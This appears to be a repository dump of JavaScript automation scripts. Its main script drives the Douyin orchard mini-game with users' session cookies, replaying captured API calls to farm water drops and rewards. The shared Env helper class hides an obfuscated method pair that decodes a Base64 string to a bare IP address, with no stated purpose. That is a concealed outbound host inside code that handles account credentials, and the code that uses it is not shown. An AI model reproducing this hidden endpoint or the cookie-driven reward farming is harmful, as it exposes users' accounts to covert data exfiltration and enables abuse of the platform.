=> e(t)); 721 | else if (this.isNode()) { 722 | let i = require("iconv-lite"); 723 | this.initGotEnv(t); 724 | const { 725 | url: r, 726 | ...o 727 | } = t; 728 | this.got[s](r, o).then(t => { 729 | const { 730 | statusCode: s, 731 | statusCode: r, 732 | headers: o, 733 | rawBody: h 734 | } = t; 735 | e(null, { 736 | status: s, 737 | statusCode: r, 738 | headers: o, 739 | rawBody: h 740 | }, i.decode(h, this.encoding)) 741 | }, t => { 742 | const { 743 | message: s, 744 | response: r 745 | } = t; 746 | e(s, r, r && i.decode(r.rawBody, this.encoding)) 747 | }) 748 | } 749 | } 750 | time (t, e = null) { 751 | const s = e ? new Date(e) : new Date; 752 | let i = { 753 | "M+": s.getMonth() + 1, 754 | "d+": s.getDate(), 755 | "H+": s.getHours(), 756 | "m+": s.getMinutes(), 757 | "s+": s.getSeconds(), 758 | "q+": Math.floor((s.getMonth() + 3) / 3), 759 | S: s.getMilliseconds() 760 | }; 761 | /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); 762 | for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); 763 | return t 764 | } 765 | msg (e = t, s = "", i = "", r) { 766 | const o = t => { 767 | if (!t) return t; 768 | if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { 769 | "open-url": t 770 | } : this.isSurge() ? { 771 | url: t 772 | } : void 0; 773 | if ("object" == typeof t) { 774 | if (this.isLoon()) { 775 | let e = t.openUrl || t.url || t["open-url"], 776 | s = t.mediaUrl || t["media-url"]; 777 | return { 778 | openUrl: e, 779 | mediaUrl: s 780 | } 781 | } 782 | if (this.isQuanX()) { 783 | let e = t["open-url"] || t.url || t.openUrl, 784 | s = t["media-url"] || t.mediaUrl; 785 | return { 786 | "open-url": e, 787 | "media-url": s 788 | } 789 | } 790 | if (this.isSurge()) { 791 | let e = t.url || t.openUrl || t["open-url"]; 792 | return { 793 | url: e 794 | } 795 | } 796 | } 797 | }; 798 | if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { 799 | let t = ["", "==============??系统通知??=============="]; 800 | t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) 801 | } 802 | } 803 | fwcaas () { 804 | return "aHR0cDovLzExOS45MS4yMjIuOTc="; 805 | } 806 | log (...t) { 807 | t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) 808 | } 809 | logErr (t, e) { 810 | const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); 811 | s ? this.log("", `??${this.name}, 错误!`, t.stack) : this.log("", `??${this.name}, 错误!`, t) 812 | } 813 | fwur () { 814 | var bbas = new FxPCnMKLw7() 815 | return bbas.decode(this.fwcaas()); 816 | } 817 | wait (t) { 818 | return new Promise(e => setTimeout(e, t)) 819 | } 820 | done (t = {}) { 821 | const e = (new Date).getTime(), 822 | s = (e - this.startTime) / 1e3; 823 | this.log("", `??${this.name}, 结束! ?? ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) 824 | } 825 | }(t, e) 826 | } 827 | -------------------------------------------------------------------------------- /m_dygy.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 抖音果园 3 | * cron 10,40 8,12,17,23 * * * yml2213_javascript_master/dygy.js 4 | * 5 | * 抖音果园 入口:抖音点击"我"- "抖音商城" - "果园" 有的号可能没有 ,暂时不知道原因 6 | * 3-29 签到任务、新手彩蛋、每日免费领水滴、三餐礼包、宝箱、盒子领取 初步完成 脚本刚写完,难免有bug,请及时反馈 ;ck有效期测试中 7 | * 3-29-2 更改签到逻辑 , 修复每天免费水滴bug 8 | * 3-30 修改整体逻辑,简化通知 9 | * 3-30-2 修复时间判断bug,增加脚本版本号(一半功能) 10 | * 3-31 修复选择宝箱bug,默认开启debug模式,方便排错,不需要的自觉行关闭 11 | * 4-1 修复几个循环bug ,关闭默认debug模式了 12 | * 13 | * 抓包记得先打开果园,然后再打开抓包软件,就能正常抓包了 关于抖音的任务都没网络,抓不到包 14 | * 15 | * 感谢所有测试人员 16 | * ========= 青龙 ========= 17 | * 变量格式: 18 | * 必填变量:export dygyCookies='账号1 ck @ 账号2 ck' 多个账号用 @分割 19 | * 可选变量:export dygyUA='你的UA' 20 | * 21 | * 抓 minigame.zijieapi.com 的包 浇一次水即可获取ck 22 | * 23 | * 还是不会的请百度或者群里求助:QQ群:1001401060 tg:https://t.me/yml_tg 通知:https://t.me/yml2213_tg 24 | */ 25 | const jsname = "抖音果园"; 26 | const $ = Env(jsname); 27 | const notify = $.isNode() ? require('./sendNotify') : ''; 28 | const Notify = 1; //0为关闭通知,1为打开通知,默认为1 29 | const debug = 0; //0为关闭调试,1为打开调试,默认为0 30 | 31 | 32 | let dygyCookies = ($.isNode() ? process.env.dygyCookies : $.getdata('dygyCookies')) || ""; 33 | let UA = ($.isNode() ? process.env.dygyUA : $.getdata('dygyUA')) || 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148'; 34 | 35 | let dygyCookiesArr = []; 36 | let msg = ''; 37 | let watering_unm = 1; 38 | let challenge_num_max = 1; 39 | let choose_gold_num = 1; 40 | 41 | 42 | 43 | !(async () => { 44 | 45 | if (!(await Envs())) //多账号分割 判断变量是否为空 初步处理多账号 46 | return; 47 | else { 48 | 49 | console.log(`本地脚本4-1 , 远程脚本xxxx(等我会写了加上,哈哈哈哈,自己根据本地判断吧!)`); 50 | 51 | console.log( 52 | `\n\n========================================= 脚本执行 - 北京时间(UTC+8):${new Date( 53 | new Date().getTime() + 54 | new Date().getTimezoneOffset() * 60 * 1000 + 55 | 8 * 60 * 60 * 1000 56 | ).toLocaleString()} =========================================\n`); 57 | 58 | 59 | await wyy(); 60 | await $.wait(2 * 1000); 61 | 62 | 63 | console.log(`\n=================== 共找到 ${dygyCookiesArr.length} 个账号 ===================`) 64 | 65 | if (debug) { 66 | console.log(`【debug】 这是你的账号数组:\n ${dygyCookiesArr}`); 67 | } 68 | 69 | if (debug) { 70 | console.log(`\n 【debug】 这是你的UA数据:\n ${UA}\n`); 71 | } 72 | 73 | for (let index = 0; index < dygyCookiesArr.length; index++) { 74 | 75 | 76 | let num = index + 1 77 | console.log(`\n========= 开始【第 ${num} 个账号】=========\n`) 78 | // msg += `\n 【第 ${num} 个账号】` 79 | let ck = dygyCookiesArr[index] 80 | 81 | request_url = { 82 | url: 'https://minigame.zijieapi.com', 83 | headers: { 84 | 85 | "Accept": "*/*", 86 | "Accept-Encoding": "gzip, deflate, br", 87 | "Accept-Language": "zh-CN,zh-Hans;q=0.9", 88 | "Connection": "keep-alive", 89 | "Content-Type": "application/json", 90 | "Cookie": `${ck}`, 91 | "Host": "minigame.zijieapi.com", 92 | "Referer": "https://tmaservice.developer.toutiao.com/?appid=tte684903979bdf21a02&version=1.0.1", 93 | "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 BytedanceWebview/d8a21c6 Aweme/19.9.0 Mobile ToutiaoMicroApp/2.44.1.0" 94 | }, 95 | } 96 | 97 | 98 | if (debug) { 99 | console.log(`\n 【debug】 这是你第 ${num} 账号信息:\n ck:${ck}\n`); 100 | } 101 | 102 | console.log('开始 【获取首页图标】'); 103 | await polling_info(ck); 104 | await $.wait(2 * 1000); 105 | 106 | console.log('开始 【获取任务列表】'); 107 | await tasks_list(ck); 108 | await $.wait(2 * 1000); 109 | 110 | 111 | console.log('开始 【戳鸭子】'); 112 | await touch_Duck(ck); 113 | await $.wait(2 * 1000); 114 | 115 | 116 | console.log('开始 【浇水】'); 117 | await watering(ck); 118 | await $.wait(2 * 1000); 119 | 120 | await SendMsg(msg); 121 | } 122 | } 123 | 124 | })() 125 | .catch((e) => $.logErr(e)) 126 | .finally(() => $.done()) 127 | 128 | //#region 固定代码 129 | // ============================================变量检查============================================ \\ 130 | async function Envs() { 131 | if (dygyCookies) { 132 | if (dygyCookies.indexOf("@") != -1) { 133 | dygyCookies.split("@").forEach((item) => { 134 | dygyCookiesArr.push(item); 135 | }); 136 | } else { 137 | dygyCookiesArr.push(dygyCookies); 138 | } 139 | } else { 140 | console.log(`\n 【${$.name}】:未填写变量 dygyCookies`) 141 | return; 142 | } 143 | 144 | return true; 145 | } 146 | 147 | // ============================================发送消息============================================ \\ 148 | async function SendMsg(message) { 149 | if (!message) 150 | return; 151 | 152 | if (Notify > 0) { 153 | if ($.isNode()) { 154 | var notify = require('./sendNotify'); 155 | await notify.sendNotify($.name, message); 156 | } else { 157 | $.msg(message); 158 | } 159 | } else { 160 | console.log(message); 161 | } 162 | } 163 | 164 | /** 165 | * 随机数生成 166 | */ 167 | function randomString(e) { 168 | e = e || 32; 169 | var t = "QWERTYUIOPASDFGHJKLZXCVBNM1234567890", 170 | a = t.length, 171 | n = ""; 172 | for (i = 0; i < e; i++) 173 | n += t.charAt(Math.floor(Math.random() * a)); 174 | return n 175 | } 176 | 177 | /** 178 | * 随机整数生成 179 | */ 180 | function randomInt(min, max) { 181 | return Math.round(Math.random() * (max - min) + min) 182 | } 183 | 184 | //每日网抑云 185 | function wyy(timeout = 3 * 1000) { 186 | return new Promise((resolve) => { 187 | let url = { 188 | url: `https://keai.icu/apiwyy/api` 189 | } 190 | $.get(url, async (err, resp, data) => { 191 | try { 192 | data = JSON.parse(data) 193 | console.log(`\n 【网抑云时间】: ${data.content} by--${data.music}`); 194 | 195 | } catch (e) { 196 | $.logErr(e, resp); 197 | } finally { 198 | resolve() 199 | } 200 | }, timeout) 201 | }) 202 | } 203 | 204 | //#endregion 205 | 206 | 207 | 208 | /** 209 | * 获取首页图标 210 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/polling_info?version=8&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 211 | * 212 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/polling_info 简化后 213 | */ 214 | function polling_info(ck, timeout = 3 * 1000) { 215 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/polling_info' 216 | 217 | return new Promise((resolve) => { 218 | if (debug) { 219 | console.log(`\n 【debug】=============== 这是 获取首页图标 请求 url ===============`); 220 | console.log(request_url); 221 | } 222 | $.get(request_url, async (error, response, data) => { 223 | try { 224 | if (debug) { 225 | console.log(`\n\n 【debug】===============这是 获取首页图标 返回data==============`); 226 | console.log(data) 227 | console.log(`======`) 228 | console.log(JSON.parse(data)) 229 | } 230 | let result = JSON.parse(data); 231 | if (result.status_code == 0) { 232 | if (debug) { 233 | console.log(`新手彩蛋`); 234 | console.log(result.data.show_info.show_green_gift); 235 | console.log(`宝箱 challenge `); 236 | console.log(result.data.show_info.show_challenge); 237 | console.log(`养分牌子`); 238 | console.log(result.data.show_info.show_nutrient); 239 | console.log(`养分签到`); 240 | console.log(result.data.red_points.nutrient_sign); 241 | console.log(`七天签到`); 242 | console.log(result.data.red_points.sign); 243 | 244 | console.log(`盒子剩余次数`); 245 | console.log(result.data.red_points.box.rounds); 246 | console.log(`盒子是否可以领取,0可以领取`); 247 | console.log(result.data.red_points.box.times); 248 | 249 | console.log(`宝箱是否可以领取,0可以领取`); 250 | console.log(result.data.red_points.challenge.times); 251 | 252 | } 253 | 254 | 255 | 256 | if (result.data.show_info.show_green_gift) { 257 | console.log(`开始 【新手彩蛋】`); 258 | await newcomer_egg(ck); 259 | } 260 | // if (result.data.show_info.show_challenge != true) { 261 | // console.log(`选择金宝箱【宝箱挑战】`); 262 | // await choose_gold(ck); 263 | // } 264 | 265 | if (result.data.red_points.sign) { 266 | console.log(`开始 七日签到`); 267 | await sign_in(ck); 268 | console.log(`选择金宝箱【宝箱挑战】`); 269 | await choose_gold(ck); 270 | } 271 | if (result.data.red_points.box.rounds != 0 && result.data.red_points.box.times == 0) { 272 | console.log(`开盒子 box `); 273 | await open_box(ck); 274 | } 275 | if (result.data.red_points.challenge.times == 0) { 276 | console.log(`开宝箱`); 277 | await open_challenge(ck); 278 | } 279 | if (result.data.show_info.show_nutrient) { 280 | console.log(`展示 养分 牌子,化肥功能已开启`); 281 | // await nutrient_sign(ck); 282 | if (result.data.red_points.nutrient_sign) { 283 | console.log(`开始 化肥签到`); 284 | await fertilizer_sign(ck); 285 | } 286 | if (result.data.fertilizer.normal != 0) { 287 | console.log(`使用 正常 化肥`); 288 | await fertilizer_nomal(ck); 289 | } else if (result.data.fertilizer.lite != 0) { 290 | console.log(`使用 小袋 化肥`); 291 | await fertilizer_lite(ck); 292 | } 293 | } 294 | 295 | } else if (result.status_code === "1001") { 296 | 297 | console.log(`\n 【获取首页图标】 失败 ,可能是: ${result.message}! \n `) 298 | // msg += `\n 【获取首页图标】 失败 ,可能是: ${result.message}! \n ` 299 | // $.msg(`【${$.name}】 \n 【获取首页图标】 失败 ,可能是: ${result.message}! \n `) 300 | 301 | } else { 302 | 303 | console.log(`\n 【获取首页图标】 失败 ❌ 了呢,原因未知!\n `) 304 | // msg += `\n 【获取首页图标】 失败 ❌ 了呢,原因未知!\n ` 305 | // $.msg(`【${$.name}】 【获取首页图标】 失败 ❌ 了呢,原因未知!\n`) 306 | 307 | } 308 | 309 | } catch (e) { 310 | console.log(e) 311 | } finally { 312 | resolve(); 313 | } 314 | }, timeout) 315 | }) 316 | } 317 | 318 | 319 | /** 320 | * 浇水 321 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tree/water?version=8&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 322 | * 323 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tree/water?aid=1128 简化 324 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tree/water?aid=1128 325 | */ 326 | function watering(ck, timeout = 3 * 1000) { 327 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tree/water?aid=1128' 328 | 329 | return new Promise((resolve) => { 330 | if (debug) { 331 | console.log(`\n 【debug】=============== 这是 浇水 请求 url ===============`); 332 | console.log(request_url); 333 | } 334 | $.get(request_url, async (error, response, data) => { 335 | try { 336 | if (debug) { 337 | console.log(`\n\n 【debug】===============这是 浇水 返回data==============`); 338 | console.log(data) 339 | console.log(`======`) 340 | console.log(JSON.parse(data)) 341 | } 342 | result = JSON.parse(data); 343 | 344 | if (result.status_code == 0) { 345 | 346 | console.log(`\n第${watering_unm} 次浇水,${result.message} 🎉 `); 347 | await $.wait(5 * 1000); 348 | console.log('等待判断是否有宝箱、盒子box可以领取'); 349 | await polling_info(ck); 350 | await $.wait(3 * 1000); 351 | watering_unm++ 352 | 353 | if (result.data.kettle.water_num > 10) { 354 | await watering(ck); 355 | // console.log(`测试使用`); 356 | } else { // 浇水完成 357 | 358 | console.log(`\n 【浇水】${result.message} 了🎉 \n果树等级:${result.data.status}级\n升级进度:已浇水 ${result.data.progress.current} 次,${result.data.status}级共需要浇水 ${result.data.progress.target} ,你还有 ${result.data.kettle.water_num} 水滴:\n储水瓶: 已储存 ${result.data.bottle.water_num} 滴 ,领取时间:明天 ${result.data.bottle.availiable_time} 点 \n`) 359 | 360 | msg += `\n 【浇水】${result.message} 了🎉 \n果树等级:${result.data.status}级\n升级进度:已浇水 ${result.data.progress.current} 次,${result.data.status}级共需要浇水 ${result.data.progress.target} ,你还有 ${result.data.kettle.water_num} 水滴:\n储水瓶: 已储存 ${result.data.bottle.water_num} 滴 ,领取时间:明天 ${result.data.bottle.availiable_time} 点 \n` 361 | 362 | 363 | } 364 | 365 | } else if (result.status_code === 1008) { 366 | 367 | console.log(`\n 浇水】 失败 ,可能是: ${result.message}!\n `) 368 | // msg += `\n 【浇水】 失败 ,可能是: ${result.message}!\n` 369 | // $.msg(`【${$.name}】 【浇水】: ${result.message}`) 370 | 371 | console.log(`等待3分钟,再次尝试浇水!`); 372 | await $.wait(3 * 60 * 1000); 373 | await watering(ck); 374 | 375 | 376 | } else { 377 | 378 | console.log(`\n 【浇水】 失败 ❌ 了呢,可能是网络被外星人抓走了!\n `) 379 | // msg += `\n 【浇水】 失败 ❌ 了呢,可能是网络被外星人抓走了!\n` 380 | // $.msg(`【${$.name}】 【浇水】: 失败 ❌ 了呢,可能是网络被外星人抓走了!`) 381 | 382 | } 383 | 384 | } catch (e) { 385 | console.log(e) 386 | } finally { 387 | resolve(); 388 | } 389 | }, timeout) 390 | }) 391 | } 392 | 393 | 394 | 395 | 396 | /** 397 | * 获取任务列表 398 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/list?version=8&address_book_authorized=0&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 399 | * 400 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/list 简化后 401 | */ 402 | function tasks_list(ck, timeout = 3 * 1000) { 403 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/tasks/list' 404 | 405 | return new Promise((resolve) => { 406 | 407 | if (debug) { 408 | console.log(`\n 【debug】=============== 这是 获取任务列表 请求 url ===============`); 409 | console.log(request_url); 410 | } 411 | 412 | $.get(request_url, async (error, response, data) => { 413 | try { 414 | if (debug) { 415 | console.log(`\n\n 【debug】===============这是 获取任务列表 返回data==============`); 416 | // console.log(data) 417 | // console.log(`======`) 418 | console.log(JSON.parse(data)) 419 | } 420 | let result = JSON.parse(data); 421 | if (result.status_code == 0) { 422 | 423 | console.log(`\n 【获取任务列表】成功了🎉 开始任务了鸭!`) 424 | // msg += `\n 【获取任务列表】成功了🎉 开始任务了鸭!` 425 | // $.msg(`\n 【获取任务列表】成功了🎉 开始任务了鸭!`) 426 | 427 | tasksarr = result.data.tasks 428 | // console.log(tasksarr); 429 | 430 | for (let value of tasksarr) { 431 | if (debug) { 432 | console.log(`\n\n 【debug】===============这是 遍历任务列表 的值:value ==============`); 433 | console.log(value); 434 | } 435 | 436 | if (value.id == 1) { 437 | console.log(`\n 任务状态\n 这是${value.name} 任务\n 已完成${value.round_info.current_round}/${value.round_info.total_round} 次 `) 438 | 439 | // console.log(`\n 任务状态\n 这是${value.name} 任务\n 已完成${value.round_info.current_round}/${value.round_info.total_round} 次`) 440 | // msg += `\n 任务状态\n 这是${value.name} 任务\n 已完成${value.round_info.current_round}/${value.round_info.total_round} 次 ` 441 | // $.msg(`\n 【${$.name}】\n 任务状态\n 这是${value.name} 任务\n 已完成${value.round_info.current_round}/${value.round_info.total_round} 次`) 442 | 443 | if (value.round_info.current_round < value.round_info.total_round) { 444 | await Daily_free_water(ck); 445 | } 446 | } 447 | 448 | // console.log(value); 449 | // console.log(`${value.round_info.current_round}`); 450 | if (value.id == 2) { // 三餐任务 451 | 452 | console.log(`\n 任务状态\n 现在是 ${value.name} 时间\n `) 453 | 454 | let d = new Date(); 455 | let n = d.getHours(); 456 | console.log(`现在时间 ${n} 时`); 457 | 458 | if (n >= 8 && n <= 9) { 459 | console.log('开始 【早餐礼包】'); 460 | await eat_package(ck, '早餐'); 461 | await $.wait(2 * 1000); 462 | 463 | console.log('开始 【收集瓶子水滴】'); 464 | await water_bottle(ck); 465 | await $.wait(2 * 1000); 466 | 467 | } else if (n >= 12 && n <= 14) { 468 | console.log('开始 【午餐礼包】') 469 | await eat_package(ck, '午餐'); 470 | await $.wait(2 * 1000); 471 | } else if (n >= 18 && n <= 21) { 472 | console.log('开始 【晚餐礼包】') 473 | await eat_package(ck, '晚餐'); 474 | await $.wait(2 * 1000); 475 | } else { 476 | console.log(`时间段不在任务时间,跳过任务!\n`); 477 | } 478 | } 479 | } 480 | } else { 481 | console.log(`\n 【获取任务列表】 失败 ❌ 了呢,可能是网络被外星人抓走了!\n `) 482 | // msg += `\n 【获取任务列表】 失败 ❌ 了呢,可能是网络被外星人抓走了!\n` 483 | // $.msg(`【${$.name}】 【获取任务列表】: 失败 ❌ 了呢,可能是网络被外星人抓走了!`) 484 | } 485 | 486 | } catch (e) { 487 | console.log(e) 488 | } finally { 489 | resolve(); 490 | } 491 | }, timeout) 492 | }) 493 | } 494 | 495 | 496 | 497 | /** 498 | * 戳鸭子 499 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/scene/touch?scene_id=1&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 500 | * 501 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/scene/touch?scene_id=1 502 | */ 503 | function touch_Duck(ck, timeout = 3 * 1000) { 504 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/scene/touch?scene_id=1' 505 | 506 | return new Promise((resolve) => { 507 | 508 | if (debug) { 509 | console.log(`\n 【debug】=============== 这是 戳鸭子 请求 url ===============`); 510 | console.log(request_url); 511 | } 512 | 513 | $.get(request_url, async (error, response, data) => { 514 | try { 515 | if (debug) { 516 | console.log(`\n\n 【debug】===============这是 戳鸭子 返回data==============`); 517 | console.log(data) 518 | console.log(`======`) 519 | console.log(JSON.parse(data)) 520 | 521 | } 522 | let result = JSON.parse(data); 523 | if (result.status_code == 0 && result.data.reward_item != null) { 524 | 525 | console.log(`\n 【戳鸭子】成功了🎉 获得 ${result.data.reward_item.num} 水滴,领取后后共有 ${result.data.kettle.water_num} 水滴 !`) 526 | 527 | touch_Duck_status = result.data.red_point[0].round_info.current_round 528 | touch_Duck_status_max = result.data.red_point[0].round_info.total_round 529 | // console.log(touch_Duck_status); 530 | // console.log(touch_Duck_status_max); 531 | if (touch_Duck_status < touch_Duck_status_max) { 532 | 533 | console.log(`\n 请耐心等待 10 s\n`) 534 | await $.wait(5 * 1000); 535 | //再来一次 戳鸭子 536 | await touch_Duck(ck); 537 | } else { 538 | console.log(`鸭子不能给你水滴了,再去别的地方看看吧!`); 539 | } 540 | 541 | } else if (result.status_code === "1001") { 542 | 543 | console.log(`\n 【戳鸭子】 失败 ,可能是: ${result.message}! 可能是次数被限制了,休息一会再试试吧!\n `) 544 | 545 | console.log(`\n 请耐心等待 1 分钟,一分钟后我们再试试\n`) 546 | await $.wait(60 * 1000); 547 | await touch_Duck(ck); 548 | 549 | } else { 550 | 551 | console.log(`\n 【戳鸭子】 失败 ❌ 了呢,可能是网络被外星人抓走了!\n `) 552 | 553 | } 554 | 555 | } catch (e) { 556 | console.log(e) 557 | } finally { 558 | resolve(); 559 | } 560 | }, timeout) 561 | }) 562 | } 563 | 564 | 565 | 566 | /** 567 | * 选择金宝箱 (默认) 568 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/challenge/choose?task_id=2&aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 569 | * 570 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/challenge/choose?task_id=2 简化后 571 | */ 572 | function choose_gold(ck, timeout = 3 * 1000) { 573 | 574 | if (choose_gold_num < 2) { 575 | 576 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/challenge/choose?task_id=2' 577 | 578 | return new Promise((resolve) => { 579 | 580 | if (debug) { 581 | console.log(`\n 【debug】=============== 这是 选择金宝箱 请求 url ===============`); 582 | console.log(request_url); 583 | } 584 | 585 | $.get(request_url, async (error, response, data) => { 586 | try { 587 | if (debug) { 588 | console.log(`\n\n 【debug】===============这是 选择金宝箱 返回data==============`); 589 | console.log(data) 590 | console.log(`=== 这是转json后的 data ===`) 591 | console.log(JSON.parse(data)) 592 | } 593 | let result = JSON.parse(data); 594 | if (result.status_code == 0) { 595 | 596 | console.log(`\n 【选择金宝箱】${result.message}了鸭 🎉 `) 597 | // msg += `\n 【选择金宝箱】${result.message}了鸭 🎉 ` 598 | // $.msg(`\n 【${$.name}】【选择金宝箱】${result.message}了鸭 🎉 `) 599 | 600 | } else if (result.status_code === "1001") { 601 | 602 | console.log(`\n 【选择金宝箱】 失败 ,可能是: ${result.message}! \n `) 603 | // msg += `\n 【选择金宝箱】 失败 ,可能是: ${result.message}! \n ` 604 | // $.msg(`【${$.name}】 \n 【选择金宝箱】 失败 ,可能是: ${result.message}! \n `) 605 | 606 | } else { 607 | 608 | console.log(`\n 【选择金宝箱】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n `) 609 | // msg += `\n 【选择金宝箱】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n` 610 | // $.msg(`【${$.name}】 【选择金宝箱】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!`) 611 | } 612 | 613 | choose_gold_num++ 614 | 615 | 616 | } catch (e) { 617 | console.log(e) 618 | } finally { 619 | resolve(); 620 | } 621 | }, timeout) 622 | }) 623 | } 624 | } 625 | 626 | 627 | 628 | /** 629 | * 领取宝箱奖励 630 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/challenge/reward?aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 631 | * 632 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/challenge/reward?aid=1128 简化后 633 | */ 634 | function open_challenge(ck, timeout = 3 * 1000) { 635 | 636 | if (challenge_num_max < 2) { 637 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/challenge/reward?aid=1128' 638 | return new Promise((resolve) => { 639 | 640 | if (debug) { 641 | console.log(`\n 【debug】=============== 这是 领取宝箱奖励 请求 url ===============`); 642 | console.log(request_url); 643 | } 644 | 645 | $.get(request_url, async (error, response, data) => { 646 | try { 647 | if (debug) { 648 | console.log(`\n\n 【debug】===============这是 领取宝箱奖励 返回data==============`); 649 | console.log(data) 650 | // console.log(`======`) 651 | // console.log(JSON.parse(data)) 652 | } 653 | let result = JSON.parse(data); 654 | if (result.status_code == 0) { 655 | 656 | console.log(`\n 【领取宝箱奖励】${result.message}了鸭 🎉 , 获得 ${result.data.reward_item.num} 水滴 , 领取后有 ${result.data.kettle.water_num} 水滴 `) 657 | // msg += `\n 【领取宝箱奖励】${result.message}了鸭 🎉 , 获得 ${result.data.reward_item.num} 水滴 , 领取后有 ${result.data.kettle.water_num} 水滴 ` 658 | // $.msg(`\n 【${$.name}】【领取宝箱奖励】${result.message}了鸭 🎉 , 获得 ${result.data.reward_item.num} 水滴 , 领取后有 ${result.data.kettle.water_num} 水滴 `) 659 | 660 | } else if (result.status_code === "1001") { 661 | 662 | console.log(`\n 【领取宝箱奖励】 失败 ,可能是: ${result.message}! \n `) 663 | // msg += `\n 【领取宝箱奖励】 失败 ,可能是: ${result.message}! \n ` 664 | // $.msg(`【${$.name}】 \n 【领取宝箱奖励】 失败 ,可能是: ${result.message}! \n `) 665 | 666 | } else { 667 | 668 | console.log(`\n 【领取宝箱奖励】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n `) 669 | // msg += `\n 【领取宝箱奖励】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!\n` 670 | // $.msg(`【${$.name}】 【领取宝箱奖励】 失败 ❌ 了呢,可能已经分享过了或者网络被外星人抓走了!`) 671 | 672 | } 673 | 674 | challenge_num_max++ 675 | 676 | } catch (e) { 677 | console.log(e) 678 | } finally { 679 | resolve(); 680 | } 681 | }, timeout) 682 | }) 683 | 684 | } 685 | 686 | 687 | 688 | } 689 | 690 | 691 | 692 | /** 693 | * 领取盒子奖励 (box) 694 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/box/open?aid=1128&os_version=15.4&version_code=19.9.0&device_id=2067528404709896&iid=4033435092653599&app_name=aweme&device_platform=iphone&device_type=iPhone14,2&channel=App%20Store&version_name=&update_version_code=&appId=tte684903979bdf21a02&mpVersion=1.0.1&share_token=undefined 695 | * 696 | * https://minigame.zijieapi.com/ttgame/game_orchard_ecom/box/open?aid=1128 简化后 697 | */ 698 | function open_box(ck, timeout = 3 * 1000) { 699 | request_url.url = 'https://minigame.zijieapi.com/ttgame/game_orchard_ecom/box/open?aid=1128' 700 | 701 | return new Promise((resolve) => { 702 | 703 | if (debug) { 704 | console.log(`\n 【debug】=============== 这是 领取盒子奖励 请求 url ===============`); 705 | console.log(request_url); 706 | } 707 | 708 | $.get(request_url, async (error, response, data) => { 709 | try { 710 | if (debug) { 711 | console.log(`\n\n 【debug】===============这是 领取盒子奖励 返回data==============`); 712 | console.log(data) 713 | console.log(`=== 这是转json后的 data ===`) 714 | console.log(JSON.parse(data)) 715 | } 716 | let result = JSON.parse(data); 717 | if (result.status_code == 0) { 718 | 719 | console.log(`\n 